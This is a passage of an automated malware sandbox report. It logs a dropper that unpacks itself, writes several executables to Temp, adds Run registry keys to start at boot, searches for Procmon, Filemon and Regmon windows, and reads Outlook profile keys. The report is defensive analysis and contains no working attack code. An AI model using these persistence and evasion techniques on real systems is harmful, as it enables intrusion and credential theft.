Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static file information: File size 3034624 > 1048576

Source: file.exe

Static PE information: Raw size of exbexgpl is bigger than: 0x100000 < 0x2b3200

Source:	Binary string: mozglue.pdbP source: 7847e34378.exe, 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: c7af53ccad.exe, 00000006.00000002.2391915749.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 08f77951f7.exe, 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 08f77951f7.exe, 00000029.00000003.3055950864.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: wntdll.pdb source: 08f77951f7.exe, 00000029.00000003.3055950864.0000000005510000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: c7af53ccad.exe, 00000006.00000002.2391195387.00000000050E0000.00000004.08000000.00040000.00000000.sdmp, c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 2de5083afa.exe, 0000001E.00000003.2900710285.0000000005050000.00000004.00001000.00020000.00000000.sdmp, 2de5083afa.exe, 0000001E.00000002.3039644293.0000000000272000.00000040.00000001.01000000.00000017.sdmp
Source:	Binary string: mozglue.pdb source: 7847e34378.exe, 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 08f77951f7.exe, 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.3c0000.0.unpack :EW;.rsrc:W;.idata :W;exbexgpl:EW;obzesrhz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;exbexgpl:EW;obzesrhz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W;exbexgpl:EW;obzesrhz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;exbexgpl:EW;obzesrhz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Unpacked PE file: 10.2.3275f9fb1e.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vqaioxrs:EW;pnhfyvew:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vqaioxrs:EW;pnhfyvew:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Unpacked PE file: 11.2.7847e34378.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W;nsggqmkp:EW;lrehquiq:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;nsggqmkp:EW;lrehquiq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Unpacked PE file: 12.2.3275f9fb1e.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vqaioxrs:EW;pnhfyvew:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vqaioxrs:EW;pnhfyvew:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Unpacked PE file: 30.2.2de5083afa.exe.270000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ovwuuiwl:EW;aeypuusq:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Unpacked PE file: 41.2.08f77951f7.exe.490000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ufjajmph:EW;qiltxfds:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ufjajmph:EW;qiltxfds:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Unpacked PE file: 46.2.2de5083afa.exe.270000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ovwuuiwl:EW;aeypuusq:EW;.taggant:EW; vs :ER;.rsrc:W;

.NET source code contains method to dynamically call methods (often used by packers)

Source: 6.2.c7af53ccad.exe.50e0000.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: random[1].exe0.5.dr

Static PE information: 0xF456CF88 [Wed Nov 25 22:45:28 2099 UTC]

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Code function: 11_2_6CEF3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

11_2_6CEF3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x2cc3ea should be: 0x2cfa19
Source: random[1].exe1.5.dr	Static PE information: real checksum: 0x440ac6 should be: 0x43ccb5
Source: random[2].exe0.5.dr	Static PE information: real checksum: 0x1b43cc should be: 0x1abf12
Source: c7af53ccad.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: 7847e34378.exe.5.dr	Static PE information: real checksum: 0x2cc3ea should be: 0x2cfa19
Source: random[1].exe2.5.dr	Static PE information: real checksum: 0x1d2ac9 should be: 0x1ccb10
Source: 2de5083afa.exe.5.dr	Static PE information: real checksum: 0x1b43cc should be: 0x1abf12
Source: file.exe	Static PE information: real checksum: 0x2edc27 should be: 0x2e782b
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2edc27 should be: 0x2e782b
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: 1375bfecca.exe.5.dr	Static PE information: real checksum: 0x440ac6 should be: 0x43ccb5
Source: 3275f9fb1e.exe.5.dr	Static PE information: real checksum: 0x1d2ac9 should be: 0x1ccb10

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: exbexgpl
Source: file.exe	Static PE information: section name: obzesrhz
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: exbexgpl
Source: skotes.exe.0.dr	Static PE information: section name: obzesrhz
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name: nsggqmkp
Source: random[1].exe.5.dr	Static PE information: section name: lrehquiq
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: 7847e34378.exe.5.dr	Static PE information: section name:
Source: 7847e34378.exe.5.dr	Static PE information: section name: .idata
Source: 7847e34378.exe.5.dr	Static PE information: section name: nsggqmkp
Source: 7847e34378.exe.5.dr	Static PE information: section name: lrehquiq
Source: 7847e34378.exe.5.dr	Static PE information: section name: .taggant
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name: .idata
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name: ovwuuiwl
Source: random[2].exe0.5.dr	Static PE information: section name: aeypuusq
Source: random[2].exe0.5.dr	Static PE information: section name: .taggant
Source: 2de5083afa.exe.5.dr	Static PE information: section name:
Source: 2de5083afa.exe.5.dr	Static PE information: section name: .idata
Source: 2de5083afa.exe.5.dr	Static PE information: section name:
Source: 2de5083afa.exe.5.dr	Static PE information: section name: ovwuuiwl
Source: 2de5083afa.exe.5.dr	Static PE information: section name: aeypuusq
Source: 2de5083afa.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: .idata
Source: random[1].exe1.5.dr	Static PE information: section name:
Source: random[1].exe1.5.dr	Static PE information: section name: zsoqbvfv
Source: random[1].exe1.5.dr	Static PE information: section name: mzkcudvk
Source: random[1].exe1.5.dr	Static PE information: section name: .taggant
Source: 1375bfecca.exe.5.dr	Static PE information: section name:
Source: 1375bfecca.exe.5.dr	Static PE information: section name: .idata
Source: 1375bfecca.exe.5.dr	Static PE information: section name:
Source: 1375bfecca.exe.5.dr	Static PE information: section name: zsoqbvfv
Source: 1375bfecca.exe.5.dr	Static PE information: section name: mzkcudvk
Source: 1375bfecca.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe2.5.dr	Static PE information: section name:
Source: random[1].exe2.5.dr	Static PE information: section name: .idata
Source: random[1].exe2.5.dr	Static PE information: section name:
Source: random[1].exe2.5.dr	Static PE information: section name: vqaioxrs
Source: random[1].exe2.5.dr	Static PE information: section name: pnhfyvew
Source: random[1].exe2.5.dr	Static PE information: section name: .taggant
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name:
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name: .idata
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name:
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name: vqaioxrs
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name: pnhfyvew
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003DD91C push ecx; ret	0_2_003DD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D1359 push es; ret	0_2_003D135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00ABD91C push ecx; ret	1_2_00ABD92F
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043D810 push eax; mov dword ptr [esp], 707F7E0Dh	7_2_0043D812
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_00443469 push ebp; iretd	7_2_0044346C
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0044366E push 9F00CD97h; ret	7_2_004436B1
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Code function: 7_2_0043AE30 push eax; mov dword ptr [esp], 1D1E1F10h	7_2_0043AE3E
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF2B536 push ecx; ret	11_2_6CF2B549

Source: file.exe	Static PE information: section name: entropy: 7.981706032162596
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.981706032162596
Source: random[2].exe0.5.dr	Static PE information: section name: entropy: 7.775664731981229
Source: random[2].exe0.5.dr	Static PE information: section name: ovwuuiwl entropy: 7.9544771593145835
Source: 2de5083afa.exe.5.dr	Static PE information: section name: entropy: 7.775664731981229
Source: 2de5083afa.exe.5.dr	Static PE information: section name: ovwuuiwl entropy: 7.9544771593145835
Source: random[1].exe1.5.dr	Static PE information: section name: zsoqbvfv entropy: 7.954619500696712
Source: 1375bfecca.exe.5.dr	Static PE information: section name: zsoqbvfv entropy: 7.954619500696712
Source: random[1].exe2.5.dr	Static PE information: section name: entropy: 7.978709310540877
Source: random[1].exe2.5.dr	Static PE information: section name: vqaioxrs entropy: 7.95359446150914
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name: entropy: 7.978709310540877
Source: 3275f9fb1e.exe.5.dr	Static PE information: section name: vqaioxrs entropy: 7.95359446150914

Source: 6.2.c7af53ccad.exe.50e0000.3.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 6.2.c7af53ccad.exe.50e0000.3.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 6.2.c7af53ccad.exe.50e0000.3.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 6.2.c7af53ccad.exe.50e0000.3.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
Source: 6.2.c7af53ccad.exe.50e0000.3.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 6.2.c7af53ccad.exe.50e0000.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3275f9fb1e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 59f3adca26.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7847e34378.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2de5083afa.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
